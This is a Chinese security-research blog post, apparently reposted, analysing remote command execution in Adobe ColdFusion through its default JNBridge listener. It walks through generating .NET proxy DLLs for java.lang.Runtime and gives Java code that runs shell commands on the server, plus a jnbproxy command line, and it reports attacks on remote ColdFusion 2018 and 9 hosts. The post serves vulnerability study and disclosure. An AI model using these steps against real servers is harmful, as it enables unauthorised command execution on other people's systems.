作者: Badcode@知道创宇404实验室
日期: 2019/07/09
Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用，也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。
漏洞影响
-
ColdFusion 2018 Update 3 及之前的版本
-
ColdFusion 2018 Update 10 及之前的版本
-
ColdFusion 11 Update 18 及之前的版本
-
<= ColdFusion 9
漏洞分析
根据 Moritz Bechler 披露的部分细节，是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。
先来了解一下JNBridge。
什么是 JNBridge？
JNBridge 是一种领先的JAVA与.NET互操作的的产品，凭借JNBridge技术，Java 和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上，而.NET代码则运行在CLR上。在该方案下，JVM和CLR可以运 行在不同的机器上，也可以运行在一台机器的不同进程上，甚至还能运行在相同的进程的不同应用程序域上。
下载 JNBridgePro，安装完之后会有demo。试用license
jnbp-eval-v10.0#1899-2367-9451-2280
这里我们尝试使用.net去调用java，跑一下logDemo，了解下大致流程。
启动 Java 服务端
根据 JNBridge 的安装路径，修改 startJava.bat ，运行
可以看到，JNBridge 服务端 listener 已开启，监听在8085端口。
构建 .Net 客户端
根据 demo的指示文档 logDemo.pdf，一步一步构建 .Net 项目。
运行
运行 .Net 项目，调用 Java 服务端，成功调用。
如何执行调用 java.lang.Runtime
之前流程有一步是将
loggerDemo.javaClass
转成
logger.dll
，试想一下，是否可以将
java.lang.Runtime
导成dll文件，供 .Net 客户端引用，然后去调用 Java 服务端的
java.lang.Runtime
？
尝试一下
将
rt.jar 引入 classpath
添加 java.lang.Runtime 类
导出
runtime.dll
引入 .Net 项目中供调用
运行
成功调用到了 Java 服务端中的
java.lang.Runtime
，这也是这个漏洞的根源。
ColdFusion 中的 JNBridge
ColdFusion 中是默认运行了 JNBridge listener 的，并且是 Java 服务端，监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中带的 JNBridge 版本不同，所以构造 payload 的方式有些差异。
ColdFusion 2016/2018
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1，无法使用上面的的JNBridge v10去构造 payload，在 JNBridge 官网上可以下载一部分
历史版本[3]
，下载 v7.3版本。
编写想要在 Java 服务端执行的代码
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
里面使用到了
java.lang.Runtime
，
java.lang.Process
，
java.io.BufferedReader
，
java.io.InputStreamReader
和
java.lang.System
，将相关类从
rt.jar
中导成
runtime2.dll
，供 .Net 客户端引用。
根据 Java代码重写
这里面有个非常重要的
JNBShare.dll
，这里使用自己安装的 JNBridge 成功后生成的
JNBShare.dll
，无法使用ColdFusion 中 JNBridge 的
JNBShare.dll
，会报错。
运行，攻击远程的ColdFusion 2018(Linux平台)，成功返回结果。
ColdFusion 9/11
ColdFusion 9 内部的 JNBridge 版本是 v5.1，监听端口是 6085。由于这个版本比较老了，没找到安装包，现在需要生成供我们引用的
runtime2.dll
和能用的
JNBShare.dll
。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe无法构建
.net -> java
项目，也就是说GUI工具用不了，所幸的是命令行工具还可以用。
jnbproxy.exe，看下参数。
根据参数，生成
runtime2.dll
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于
JNBShare.dll
，因为内部的无法使用，安装包又下载不到。幸运的是有人收藏了这个
JNBShare.dll
，谷歌搜索能够找到，并且刚好是v5.1版本的。
运行，攻击远程的 ColdFusion 9(windows平台)，返回命令执行结果。
References
[2] 部分细节:
来自 “ ITPUB博客 ” ，链接：https://blog.itpub.net/69912109/viewspace-2652749/ ，如需转载，请注明出处，否则将追究法律责任。
请登录后发表评论
登录
全部评论
最新文章
- 15个漏洞详情，FireEye被盗网络武器库分析
- CVE-2020-1362 漏洞分析
- 溯源黑帽利用 Web 编辑器漏洞非法植入 SEO 页面事件
- 从反序列化到类型混淆漏洞——记一次 ecshop 实例利用
- （CVE-2019-5786） 漏洞原理分析及利用
- Nexus Repository Manager 2.x 命令注入漏洞 (CVE-2019-5475) 两次绕过
- 使用 ZoomEye 寻找 APT 攻击的蛛丝马迹
- 空指针-Base on windows Writeup -- 最新版DZ3.4实战渗透
- Fastjson 反序列化漏洞史
- Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
